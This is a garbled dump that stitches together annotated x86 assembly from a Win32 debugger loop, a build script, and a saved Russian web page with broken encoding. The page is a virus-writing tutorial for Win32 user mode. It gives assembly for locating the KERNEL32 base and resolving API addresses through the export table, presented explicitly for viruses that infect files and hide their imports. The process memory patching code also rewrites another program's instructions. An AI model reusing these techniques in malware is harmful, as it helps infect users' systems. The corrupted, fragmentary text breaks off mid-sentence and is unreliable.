; 120 : if( nano_ccad[index]-1 == addr )
mov eax, DWORD [_index$+ebp]
mov ecx, DWORD [esi+_nano_ccad]
mov edx, DWORD [ecx+eax*4]
sub edx, 1
cmp edx, DWORD [_addr$+ebp]
jne $L74371
; 121 : break;
jmp $L74370
$L74371:
; 122 : if( index == nanoCount )
jmp $L74369
$L74370:
mov eax, DWORD [_index$+ebp]
cmp eax, DWORD [esi+_nanoCount]
jne $L74372
; 123 : return result;
mov eax, DWORD [_result$+ebp]
jmp $L74358
$L74372:
; 124 : // nano found - need type, size and destination
; 125 : res=0
mov BYTE [esi+_res], 0
; 126 : for( i=0; i<0x100; ++i )
mov DWORD [_i$+ebp], 0
jmp $L74373
$L74374:
mov eax, DWORD [_i$+ebp]
add eax, 1
mov DWORD [_i$+ebp], eax
$L74373:
cmp DWORD [_i$+ebp], 100h
jge $L74375
; 127 : if(nano_index[i*2+0] == nano_jtyp[index])
; -- : {
mov eax, DWORD [_i$+ebp]
mov ecx, DWORD [esi+_nano_index]
movzx edx, BYTE [ecx+eax*2]
mov eax, DWORD [esi+_nano_jtyp]
add eax, DWORD [_index$+ebp]
movzx ecx, BYTE [eax]
cmp edx, ecx
jne $L74376
; 128 : type=nano_index[i*2+1];
; --- : res=1;
; --- : break;
; --- : }
mov eax, DWORD [_i$+ebp]
mov ecx, DWORD [esi+_nano_index]
mov dl, BYTE [ecx+eax*2+1]
mov BYTE [_type$+ebp], dl
mov BYTE [esi+_res], 1
jmp $L74375
$L74376:
; 129 : if( !res )
jmp $L74374
$L74375:
movzx eax, BYTE [esi+_res]
or eax, eax
jnz $L74377 ; ???????????????
; 130 : return result;
mov eax, DWORD [_result$+ebp]
jmp $L74358
$L74377:
; 131 : size=nano_jsiz[index];
mov eax, DWORD [esi+_nano_jsiz]
add eax, DWORD [_index$+ebp]
mov cl, BYTE [eax]
mov BYTE [_size$+ebp], cl
; 132 : dest=nano_jdst[index];
mov eax, DWORD [_index$+ebp]
mov ecx, DWORD [esi+_nano_jdst]
mov edx, DWORD [ecx+eax*4]
mov DWORD [_dest$+ebp], edx
; 133 :
; 134 : // set RW page access
; 135 : VirtualProtectEx(dbgProcess, (void *)addr, size+1, PAGE_
READWRITE, &oldProtect);
lea eax, DWORD [_oldProtect$+ebp]
push eax
push 4
movzx ecx, BYTE [_size$+ebp]
add ecx, 1
push ecx
mov edx, DWORD [_addr$+ebp]
push edx
mov eax, DWORD [esi+_dbgProcess]
push eax
call DWORD [esi+VirtualProtectEx]
; 136 : // read bytes from process and set phys_addr -> bytes
; 137 : ReadProcessMemory(dbgProcess, (void *)addr, processBytes, size+
49;, &bytes);
lea eax, DWORD [_bytes$+ebp]
push eax
movzx ecx, BYTE [_size$+ebp]
add ecx, 1
push ecx
lea edx, DWORD [esi+_processBytes$+ebp]
push edx
mov eax, DWORD [_addr$+ebp]
push eax
mov ecx, DWORD [esi+_dbgProcess]
push ecx
call DWORD [esi+ReadProcessMemory]
; 138 : switch( size )
mov al, BYTE [_size$+ebp]
mov BYTE [tv134+ebp], al
cmp BYTE [tv134+ebp], 1
je $L74384
cmp BYTE [tv134+ebp], 4
je $L74389
cmp BYTE [tv134+ebp], 5
je $L74393
jmp $L74381
$L74384:
; 139 : {
; 140 : case 0x01: // 2-bytes jmp/jcc
; 141 : if( short_opcodes[type] )
movzx eax, BYTE [_type$+ebp]
movzx ecx, BYTE [esi+_short_opcodes+eax]
test ecx, ecx
je $L74385
; 142 : {
; 143 : *(byte *)(processBytes+0) = short_opcodes[type];
movzx eax, BYTE [_type$+ebp]
mov cl, BYTE [esi+_short_opcodes+eax]
mov BYTE [_processBytes$+ebp], cl
; 144 : *(byte *)(processBytes+1) = (byte)((dest-1)&0
120;FF);
mov eax, DWORD [_dest$+ebp]
sub eax, 1
and eax, 0ffh
mov BYTE [_processBytes$+ebp+1], al
; 145 : result=1;
mov DWORD [_result$+ebp], 1
$L74385:
; 146 : }
; 147 : break;
jmp $L74381
$L74389:
; 148 : case 0x04: // 5-bytes jmp/jcc
; 149 : if( longjmp_opcodes[type] )
movzx eax, BYTE [_type$+ebp]
movzx ecx, BYTE [esi+_longjmp_opcd+eax]
test ecx, ecx
je $L74390
; 150 : {
; 151 : *(byte *)(processBytes+0) = longjmp_opcodes[type];
movzx eax, BYTE [_type$+ebp]
mov cl, BYTE [esi+_longjmp_opcd+eax]
mov BYTE [_processBytes$+ebp], cl
; 152 : *(dword *)(processBytes+1) = dest-4;
mov eax, DWORD [_dest$+ebp]
sub eax, 4
mov DWORD [_processBytes$+ebp+1], eax
; 153 : result=1;
mov DWORD [_result$+ebp], 1
$L74390:
; 154 : }
; 155 : break;
jmp $L74381
$L74393:
; 156 : case 0x05: // 6-bytes jmp
; 157 : if( long_opcodes[type] )
movzx eax, BYTE [_type$+ebp]
movzx ecx, WORD [esi+_long_opcodes+eax*2]
test ecx, ecx
je $L74381
; 158 : {
; 159 : *(word *)(processBytes+0) = long_opcodes[type];
movzx eax, BYTE [_type$+ebp]
mov cx, WORD [esi+_long_opcodes+eax*2]
mov WORD [_processBytes$+ebp], cx
; 160 : *(dword *)(processBytes+2) = dest-5;
mov eax, DWORD [_dest$+ebp]
sub eax, 5
mov DWORD [_processBytes$+ebp+2], eax
; 161 : result=1;
mov DWORD [_result$+ebp], 1
$L74381:
; 162 : }
; 163 : break;
; 164 : }
; 165 : // write bytes to process
; 166 : WriteProcessMemory(dbgProcess, (void *)addr, processBytes, size+&
#49;, &bytes);
lea eax, DWORD [_bytes$+ebp]
push eax
movzx ecx, BYTE [_size$+ebp]
add ecx, 1
push ecx
lea edx, DWORD [_processBytes$+ebp]
push edx
mov eax, DWORD [_addr$+ebp]
push eax
mov ecx, DWORD [esi+_dbgProcess]
push ecx
call DWORD [esi+WriteProcessMemory]
; 167 : // restore page protection
; 168 : VirtualProtectEx(dbgProcess, (void *)addr, size+1, oldPr
otect, &oldProtect);
lea eax, DWORD [_oldProtect$+ebp]
push eax
mov ecx, DWORD [_oldProtect$+ebp]
push ecx
movzx edx, BYTE [_size$+ebp]
add edx, 1
push edx
mov eax, DWORD [_addr$+ebp]
push eax
mov ecx, DWORD [esi+_dbgProcess]
push ecx
call DWORD [esi+VirtualProtectEx]
; 169 : return result;
mov eax, DWORD [_result$+ebp]
$L74358:
; 170 : }
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
;-------------------------------------------------------------------------------
------------------
_i$ = -4 ; size = 4
_id$ = 8 ; size = 4
_hnd$ = 12 ; size = 4
_AddThread:
; 173 : {
push ebp
mov ebp, esp
sub esp, 68 ; 0000
48;044H
push ebx
push esi
push edi
; 174 : int i;
; 175 : for(i=0; i<MAX_THREADS; ++i)
mov DWORD [_i$+ebp], 0
jmp $L74405
$L74406:
mov eax, DWORD [_i$+ebp]
add eax, 1
mov DWORD [_i$+ebp], eax
$L74405:
cmp DWORD [_i$+ebp], 100 ; 00
8;00064H
jge $L74403
; 176 : if( threads[i][0]==0 && threads[i][1]==0 )
mov eax, DWORD [_i$+ebp]
cmp DWORD [esi+_threads+eax*8], 0
jne $L74408
mov eax, DWORD [_i$+ebp]
cmp DWORD [esi+_threads+eax*8+4], 0
jne $L74408
; 177 : {
; 178 : threads[i][0]=id;
mov eax, DWORD [_i$+ebp]
mov ecx, DWORD [_id$+ebp]
mov DWORD [esi+_threads+eax*8], ecx
; 179 : threads[i][1]=hnd;
mov eax, DWORD [_i$+ebp]
mov ecx, DWORD [_hnd$+ebp]
mov DWORD [esi+_threads+eax*8+4], ecx
; 180 : break;
jmp $L74403
$L74408:
; 181 : }
; 182 : }
jmp $L74406
$L74403:
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
;-------------------------------------------------------------------------------
------------------
_i$ = -4 ; size = 4
_id$ = 8 ; size = 4
_DelThread:
; 185 : {
push ebp
mov ebp, esp
sub esp, 68 ; 0000
48;044H
push ebx
push esi
push edi
; 186 : int i;
; 187 : for(i=0; i<MAX_THREADS; ++i)
mov DWORD [_i$+ebp], 0
jmp $L74413
$L74414:
mov eax, DWORD [_i$+ebp]
add eax, 1
mov DWORD [_i$+ebp], eax
$L74413:
cmp DWORD [_i$+ebp], 100 ; 00
8;00064H
jge $L74411
; 188 : if( threads[i][0] == id )
mov eax, DWORD [_i$+ebp]
mov ecx, DWORD [esi+_threads+eax*8]
cmp ecx, DWORD [_id$+ebp]
jne $L74416
; 189 : {
; 190 : threads[i][0]=0;
mov eax, DWORD [_i$+ebp]
mov DWORD [esi+_threads+eax*8], 0
; 191 : threads[i][1]=0;
mov eax, DWORD [_i$+ebp]
mov DWORD [esi+_threads+eax*8+4], 0
; 192 : break;
jmp $L74411
$L74416:
; 193 : }
; 194 : }
jmp $L74414
$L74411:
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
;-------------------------------------------------------------------------------
------------------
_i$ = -8 ; size = 4
_hnd$ = -4 ; size = 4
_id$ = 8 ; size = 4
_GetThread:
; 197 : {
push ebp
mov ebp, esp
sub esp, 72 ; 0000
48;048H
push ebx
push esi
push edi
; 198 : HANDLE hnd=NULL;
mov DWORD [_hnd$+ebp], 0
; 199 : int i;
; 200 : for(i=0; i<MAX_THREADS; ++i)
mov DWORD [_i$+ebp], 0
jmp $L74423
$L74424:
mov eax, DWORD [_i$+ebp]
add eax, 1
mov DWORD [_i$+ebp], eax
$L74423:
cmp DWORD [_i$+ebp], 100 ; 00
8;00064H
jge $L74425
; 201 : if( threads[i][0] == id )
mov eax, DWORD [_i$+ebp]
mov ecx, DWORD [esi+_threads+eax*8]
cmp ecx, DWORD [_id$+ebp]
jne $L74426
; 202 : {
; 203 : hnd=threads[i][1];
mov eax, DWORD [_i$+ebp]
mov ecx, DWORD [esi+_threads+eax*8+4]
mov DWORD [_hnd$+ebp], ecx
; 204 : break;
jmp $L74425
$L74426:
; 205 : }
; 206 : return hnd;
jmp $L74424
$L74425:
mov eax, DWORD [_hnd$+ebp]
; 207 : }
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
db 'eof'
data_begin:
;-------------------------------------------------------------------------------
------------------
stub/r.bat:
@echo off
rem bcc32 -S -rd dbgloop.c
rem "d:\program files\microsoft visual studio .Net 2003\vc7\bin\cl
34; /I"d:\program files\microsoft visual studio .Net 2003\vc7\platfo
rmsdk\include" /Tc /Fa /FA dbgloop.c
start d:\fasm\fasmw dbg_loop.asm
stub/Џг⥢®¤ЁвҐ«м Ї® ЇЁб Ёо ўЁагб®ў Ї®¤ Win32 4_ Ring-3, Їа®Ја ¬¬Ёа®ў ЁҐ
га®ўҐ Ї®«м§®ў ⥫п.htm:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
2;
<!-- saved from url=(0040)
http://wasm.ru/article.php?article=vgw04
-->
<HTML><HEAD><TITLE>[W A S M . R U] ╤╥└╥▄╚ > ┬ирусоло
гия > ╧утеводитель по написани вирусов под Win32: 4. Ring-3, программирован
ие на уровне пользователя</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-&
#49;251">
<STYLE type=text/css>BODY {
BACKGROUND: #f1f0e7; FONT: 11px Verdana, Arial
}
P {
FONT: 10pt Verdana, Arial; COLOR: #000000; TEXT
-ALIGN: justify
}
UL {
FONT: 10pt Verdana, Arial; COLOR: #000000
}
OL {
FONT: 10pt Verdana, Arial; COLOR: #000000
}
BLOCKQUOTE {
FONT: 10pt Arial, Verdana; COLOR: #000000
}
PRE {
BACKGROUND: #ffffff; FONT: 10pt Courier, Tahoma, Arial
}
TD {
FONT: 8pt Verdana,Arial; COLOR: #000000
}
A {
COLOR: #000000; TEXT-DECORATION: underline
}
A.nav {
COLOR: #000000; TEXT-DECORATION: none
}
A:hover {
BACKGROUND: silver; TEXT-DECORATION: underline overline
}
.updt {
BACKGROUND-COLOR: #ffffff
}
H2 {
FONT-SIZE: 16px
}
H1 {
FONT-SIZE: 18pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
H5 {
FONT-SIZE: 9pt
}
.ctr {
TEXT-INDENT: 0pt; TEXT-ALIGN: center
}
.n {
PADDING-RIGHT: 5pt; PADDING-LEFT: 5pt; FONT-SIZE: 14px; PADDING-BOTTOM
: 5pt; CURSOR: text; PADDING-TOP: 5pt; FONT-FAMILY: "Times New Roman
4;, Times, serif; BACKGROUND-COLOR: #e3e0db; TEXT-ALIGN: justify
}
TABLE.n {
BORDER-RIGHT: #000000 1pt solid; BORDER-TOP: #0
00000 1pt solid; BORDER-LEFT: #00000
0 1pt solid; BORDER-BOTTOM: #000000 1pt soli
d; BACKGROUND-COLOR: #000000
}
.w {
FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial; BACKGROUND-COLOR: #ffffff
}
</STYLE>
<META content="MSHTML 6.00.2600.0" name=GENERATO
R></HEAD>
<BODY>
<TABLE cellSpacing=0 cellPadding=0 width="98%" align=cen
ter
background="╧утеводитель по написани вирусов под Win32 4_ Ring-3, программи
рование на уровне пользователя.files/3.gif"
border=0>
<TBODY>
<TR vAlign=top align=left>
<TD width=110><A href="
http://wasm.ru/index.php"><IMG
alt="Windows Assembly Site"
src="╧утеводитель по написани вирусов под Win32 4_ Ring-3, программир
ование на уровне пользователя.files/header.gif"
border=0></A></TD>
<TD vAlign=center><NOBR>|<A class=nav title=Noticias
href="
http://was
m.ru/index.php"><B>═овости</B></A>| |
60;A class=nav
title="Acerca del sitio" href="
http://wasm.ru/about.php"><B>╬
проекте</B></A>| |<A class=nav title=Phoro
href="
http
://www.wasm.ru/forum/"><B>920;орум</B><
;/A>| |<A class=nav
title=Enlaces href="
http://wasm.ru/links.php"><B>╤сылки</B><
;/A>|
</NOBR></TD>
<TD vAlign=center align=right>|<A class=nav title=""
href="
http://www.guestbook.ru/book.php?user=wasm&action=show"
target=_blank><B>├остевая</B></A>| </TD
2;</TR></TBODY></TABLE><BR>
<TABLE cellSpacing=0 cellPadding=0 width="98%" align=cen
ter border=0>
<TBODY>
<TR>
<TD vAlign=top width=180><!--
<FORM ACTION="/cgi-bin/search.pl" METHOD="GET">
╚скать (иголку): <br>
<INPUT TYPE="Text" NAME="query" SIZE="15"
62;
<INPUT TYPE="Hidden" NAME="stpos" VALUE="0">
<INPUT TYPE="Submit" VALUE="Go!">
<BR>
<INPUT TYPE="Radio" NAME="stype" VALUE="AND" checked
>"AND"
<INPUT TYPE="Radio" NAME="stype" VALUE="OR">"
;OR"
</FORM>
--></TD>
<TD align=middle>
<H2>╤╥└╥▄╚ > ┬ирусология</H2></TD></TR>
</TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width="98%" align=cen
ter border=0>
<TBODY>
<TR vAlign=top>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width=180 border=
48;>
<TBODY>
<TR>
<TD><STRONG><BIG>╖ </BIG></STRONG&
#62;<A class=nav title=Artículos
href="
http://wasm.ru/publist.php"><B>╤татьи</B></A&
#62;<BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title="Códi
gos fuente"
href="
http://wasm.ru/srclist.php"><B>╚сходники</B><
/A><BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title=Herramientas
href="
http://wasm.ru/toollist.php"><B>╚нструменты</B>&
#60;/A><BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title=Documentaci
43;n
href="
http://wasm.ru/doclist.php"><B>─окументация</B>
60;/A><BR><BR><STRONG><B><A
class=nav title=Artículos
href="
http://wasm.ru/publist.php">╤татьи:</A></B></
STRONG><BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav
title="Programación de bajo nivel para seguidores del Zen
34;
href="
http://wasm.ru/publist.php?list=22">═изкоуровневое
программирование для дZенству щих</A><BR><STRONG
><BIG>╖
</BIG></STRONG><A class=nav title="Tutoriale
s de Iczelion"
href="
http://wasm.ru/publist.php?list=1">╙роки
Iczelion'а</A><BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav
title="Técnicas de COM"
href="
http://wasm.ru/publist.php?list=15">╥ехнология
COM</A><BR><STRONG><BIG>╖ </BIG&
#62;</STRONG><A class=nav
title=DirectX/OpenGL
href="
http://wasm.ru/publist.php?list=19">DirectX/OpenGL
60;/A><BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title="Misterios
de Win32"
href="
http://wasm.ru/publist.php?list=21">╤екреты
Win32</A><BR><STRONG><BIG>╖ </BI
G></STRONG><A class=nav
title=Optimización
href="
http://wasm.ru/publist.php?list=10">╬птимизация<
/A><BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title=Compiladores
href="
http://wasm.ru/publist.php?list=18">╩омпиляторы</A
62;<BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title="Defensa c
ontra depuración"
href="
http://wasm.ru/publist.php?list=17">╟ащита от
отладки</A><BR><STRONG><BIG>╖ </
BIG></STRONG><A class=nav
title=Virusología
href="
http://wasm.ru/publist.php?list=6">┬ирусология</A>
60;BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title=Seguridad
href="
http://wasm.ru/publist.php?list=20">┴езопасность</A&
#62;<BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title=Red
href="
http://wasm.ru/publist.php?list=16">╤еть</A><
;BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title="Formatos
de archivos"
href="
http://wasm.ru/publist.php?list=8">╘орматы
файлов</A><BR><STRONG><BIG>╖ </B
IG></STRONG><A class=nav
title="Zen para programadores"
href="
http://wasm.ru/publist.php?list=14">╧рограммерский
дZен</A><BR><STRONG><BIG>╖ </BIG
></STRONG><A class=nav
title=Procesadores
href="
http://wasm.ru/publist.php?list=11">╧роцессоры</
A><BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title="Discos y
drives"
href="
http://wasm.ru/publist.php?list=12">┬инты и
флопики</A><BR><STRONG><BIG>╖ </
BIG></STRONG><A class=nav
title=BIOS/CMOS
href="
http://wasm.ru/publist.php?list=13">BIOS/CMOS</A>
;<BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title="DOS por s
iempre!"
href="
http://wasm.ru/publist.php?list=7">DOS
навсегда!</A><BR><STRONG><BIG>╖ <
;/BIG></STRONG><A class=nav
title="Ingeniería inversa"
href="
http://wasm.ru/publist.php?list=23">╚сследование
программ</A><BR><STRONG><BIG>╖ <
/BIG></STRONG><A class=nav
title="Modo protegido"
href="
http://wasm.ru/publist.php?list=24">╟ащищенный
режим</A><BR><STRONG><BIG>╖ </BI
G></STRONG><A class=nav
title=Algoritmos
href="
http://wasm.ru/publist.php?list=25">└лгоритмы</A>
0;BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title=Consolas
href="
http://wasm.ru/publist.php?list=26">╩онсоли</A><
BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title=Linux/Uni
x
href="
http://wasm.ru/publist.php?list=28">Linux/Unix<
;/A><BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title=Assembler.Ru
href="
http://wasm.ru/publist.php?list=5">Assembler.Ru</A>&
#60;BR><STRONG><BIG>╖
</BIG></STRONG><A class=nav title=Varios
href="
http://wasm.ru/publist.php?list=27">╨азное</A><B
R><BR></TD></TR></TBODY></TABLE><
;/TD>
<TD width=5><IMG height=1 width=1></TD>
<TD>
<H3 align=center>╧утеводитель по написани вирусов под Win32: 4. R
ing-3,
программирование на уровне пользователя</H3>╖ <A
href="
http://wasm.ru/print.php?article=vgw04">версия для печати<
;/A>
<P>─а, это правда, что уровень пользователя налагает на нас много
репрессивных и фашистских ограничений на нас, ограничива щих нашу свободу,
к которой мы привыкли, программируя вирусы под DOS, но парни (и девушки -
прим. пер.), это жизнь, это Micro$oft. ╠ежду прочим, это единственный путь
сделать так, чтобы вирус был полность Win32-совместимым и это среда
окружения будущего, как вы должны знать. ┬о-первых, давайте посмотрим как
получить адрес базы KERNEL32 (для Win32-совместимости) очень простым
образом:
<P><STRONG>╧ростой способ получить адрес базы KERNEL32<
;/STRONG>
<P>╩ак вы знаете, когда мы запускаем приложением, код вызывается о
ткуда-то
из KERNEL32 (т.е. KERNEL делает вызов нашего кода), а потом, если вы
помните, когда вызов сделан, адрес возврата лежит на стеке (адрес памяти в
ESP). ─авайте применим эти знания на практике:
<P><CODE><PRE>;---[ CUT HERE ]--------------------
-----------------------------------------
.586p ; ┴ах... просто так
.model flat ; ╒ехехе, я л бл 32 бита
.data ; ╩ое-какие данные (их требует
; TASM32/TLINK32)
db ?
.code
start:
mov eax,[esp] ; ╥еперь EAX будет равен BFF8XXXXh
; (в w9X)
; т.е. где-то внутри API
; CreateProcess :)
ret ; ┬озвраемся в него ;)
end start
;---[ CUT HERE ]-------------------------------------------------------------
0;/PRE></CODE>
<P>╬к, это просто. ╙ нас в EAX есть значение, примерно равно BFF8X
XXX
(XXXX не играет роли, нам не нужно знать его точно. ╥ак как
Win32-платформы обычно все огруля т до страницы, значит заголовок KERNEL32
находится в начале страницы, и мы можем легко найти его. └ как только мы
найдем заголовок PE, о котором я и веду речь, мы будем знать адрес
KERNEL32. ╒ммм, наш лимит - 50h страниц. ╒ехе, не беспокойтесь, далее
последует некоторый код ;).
<P><CODE><PRE>;---[ CUT HERE ]--------------------
-----------------------------------------
.586p
.model flat
extrn ExitProcess:PROC
.data
limit equ 5
db 0
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ═енужные и несущественные данные :) ;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
.code
test:
call delta
delta:
pop ebp
sub ebp,offset delta
mov esi,[esp]
and esi,0FFFF0000h
call GetK32
push 00000000h
call ExitProcess
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ├рхм, я предполага , что вы, по крайней мере, нормальный asm-кодер, то ;
; то есть знаете, что первый блок инструкций предназначается для получения ;
; дельта-смещения (хорошо, это не необходимо в данном примере, как бы то ;
; ни было я хочу придать данному коду сходство с вирусом). ═ам интересен ;
; второй блок. ╠ы помещаем в ESI адрес, откуда было вызвано наше ;
; приложение. ╬н находится в ESP (если мы, конечно, не трогали стек после ;
; загрузки программы. ┬торая инструкция, AND, получает начало страницы, из ;
; которой был вызван наш код. ╠ы вызываем нашу процедуру, после чего ;
; прерываем процесс ;). ;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
GetK32:
__1:
cmp byte ptr [ebp+K32_Limit],00h
jz WeFailed
cmp word ptr [esi],"ZM"
jz CheckPE
__2:
sub esi,10000h
dec byte ptr [ebp+K32_Limit]
jmp __1
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ╤начала мы проверяем, не превысили ли мы лимит (50 страниц). ╧осле того,
;
; как мы находим страницу с сигнатурой 'MZ' в начале, ищем заголовок PE
. ;
; ┼сли мы его не находим, то вычитае 10 страниц (1000
48;h байтов), уменьшаем ;
; переменну лимита и ищем снова. ;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
CheckPE:
mov edi,[esi+3Ch]
add edi,esi
cmp dword ptr [edi],"EP"
jz WeGotK32
jmp __2
WeFailed:
mov esi,0BFF70000h
WeGotK32:
xchg eax,esi
ret
K32_Limit dw limit
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
; ╠ы получаем значение по смещени 3Ch из заголовка MZ (там содержится ;
; RVA-адрес начала заголовка PE), потом соотносим его с адресом страницы, ;
; и если адрес памяти, находящийся по данному смещени - метка PE, мы ;
; мы считаем, что нашли то, что нужно... и это действительно так! ;) ;
;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖;
end test
;---[ CUT HERE ]-------------------------------------------------------------
0;/PRE></CODE>
<P>╨екомендация: я протестировал это у меня не было никаких пробле
м в
Win98 и WinNT4 с установленным SP3, как бы то ни было, так как я не зн
а ,
что может произойти, я совету вам использовать SEH, чтобы избежать
возможных ошибок и синего экрана. SEH будет объяснен в последу щих уроках.
╒ех, этот метод использовал Lord Julus в своих туториалах (для поиска
GetModuleHandleA в зараженных файлах), что не очень эффективно для моих
нужд, как бы то ни было, я покажу собственну верси этого кода, где
объясн , что можно сделать с импортами. ═апример, это можно использовать в
пер-процессных (per-process) резидентных вирусах с небольшими изменениями
в процедуре ;).
<P><STRONG>╧олучить эти сумасшедшие функции API</STRON
G>
<P>Ring-3, как я уже говорил, это уровень пользователя, поэтому на
м
доступны только его немногие возможности. ╠ы не можем использовать порты,
читать или писать в определенные области памяти и так далее. Micro$oft
основывала свои утверждения, сделанные при разработке Win95 (которая,
похоже, наименее всего соответствует утверждени , что "Win32-платформы
не
могут быть подвергнуты заражени "), на том, что если они перекро т дос
туп
ко всему, что обычно использу т вирусы, они смогут победить нас. ┬ их
мечтах. ╬ни думали, что мы не сможем использовать их API, и более того,
они не могли представить, что мы попадем в Ring-0, но это уже другая
история.
<P>╦адно, как было сказано ранее, у нас есть объявленное как внешн
ее имя
функции API, поэтому import32.lib даст нам адрес функции и это будет
правильным образом скомпилированно в код, но у нас появятся проблемы при
написании вирусов. ┼сли мы будем ссылаться на фиксированные смещения этих
функций, то очень вероятно, что этот адрес не будет работать в следу щей
версии Win32. ┬ы можете найти пример в Bizatch. ╫то нам нужно сделать? ╙
нас есть функция под названием GetProcAddress, которая возвращает адрес
нужной нам API-функции. ┬ы можете заметить, что GetProcAddress тоже
функция API, как же мы можем использовать ее? ╙ нас есть несколько путей
сделать это, и я покажу вам два самых лучших (на мой взгляд) из них:
<P>1. ╧оиск GetProcessAddress в таблице экспортов.<BR>
2. ┬ зараженном
файле ищем среди импортированных функций GetProcAddress.
<P>╤амый простой путь - первый, который я первым и объясн :). ╤на
чала
немного теории, а потом код.
<P>┼сли вы взглянете на формат заголовка PE, то увидите, что по см
ещени
78h (заголовка PE, а не файла) находится RVA (относительный виртуальный
адрес) таблицы экспортов. ╬к, нам нужно получить адрес экспортов ядра. ┬
Windows 95/98 этот адрес равен 0BFF70000h, а в
Windows NT оно равно
077F00000h. ┬ Win2k у нас будет адрес 077E0
;0000h. ╧оэтому сначала мы
должны загрузить адрес таблицы в регистр, который будем использовать как
указатель. ▀ настоятельно рекоменду ESI, потому что тогда мы можем
использовать LODSD.
<P>╠ы проверяем, находится ли в начале слова "MZ" (ладно-л
адно, "ZM", черт
побери эту интеловску архитектуру процессора :) ), потому что ядро - это
библиотека (.DLL), а у них тоже есть PE-заголовок, и как мы могли видеть
ранее, часть его служить для совместимости с DOS. ╧осле данного сравнения
давайте проверим, действительноли это PE, поэтому мы смотрим ячейку памяти
по смещени адрес_базы+[3Ch] (смещение, откуда начинается ядро + адрес,
который находится по смещен 3Ch в PE-заголовке) и сравниваем с "PE\
48;\0"
(сигнатурой PE).
<P>┼сли все хорошо, тогда идем дальше. ═ам нужен RVA таблицы экспо
ртов.
╩ак вы можете видеть, он находится по смещени 78h в заголовке PE - вот мы
его и получили. ═о как вы знаете, RVA (относительный виртуальный адрес),
согласно своему имени, относительно определенного смещения, в данном
случае - базы образа ядра. ┬се очень просто: просто добавьте смещение ядра
к найденному значени . ╒орошо. ╥еперь мы находимся в таблице экспорта :).
<P>─авайте посмотрим ее формат:
<P><IMG
src="╧утеводитель по написани вирусов под Win32 4_ Ring-3, программир
ование на уровне пользователя.files/vgw04_p01.gif">
<P>─ля нас важны последние 6 полей. ╟начения RVA таблицы адресов,
указателей на имена и ординалов явля тся относительными к базе KERNEL32,
как вы можете предположить. ╧оэтому первый шаг, который мы должны
предпринять для получения адреса API, - это узнать позици его позици в
таблице. ╠ы сделаем пробег по таблице указателей на имена и будем
сравнивать строки, пока не произойдет совпадения с именем нужной нам
функции. ╨азмер счетчика, который мы будем использовать, должен быть
больше байта.
<P>╬братите внимание: я предполага , что в вы сохраняете в соответ
ству щих
переменных VA (RVA + адрес базы образа) таблиц адресов, имен и ординалов.
<P>╬к, представьте, что мы получили имя функции API, которое нам б
ыло
нужно, поэтому в счетчике у нас будет ее позиция в таблице указателей на
имена. ╦адно, теперь последует самая сложная часть для начина щих в
программировании под Win32. ╙ нас есть счетчик и теперь нам нужно найти в
таблице ординалов API, адрес которого мы хотим получить. ╧оскольку у нас
есть номер позиции функции, мы умножаем его на 2 (таблица ординалов
состоит из слов) и прибавляем полученный результат к адресу таблицы
ординалов. ═ижеследу щая формула кратко рез мирует вышесказанное:
<P>╠естонахождение функции API: (счетчик * 2) + VA таблицы ординал
ов
<P>╧росто, не правда ли? ╦адно, следу щий шаг (и последний) закл ч
ается в
том, чтобы получить адрес API-функции из таблицы адресов. ╙ нас уже есть
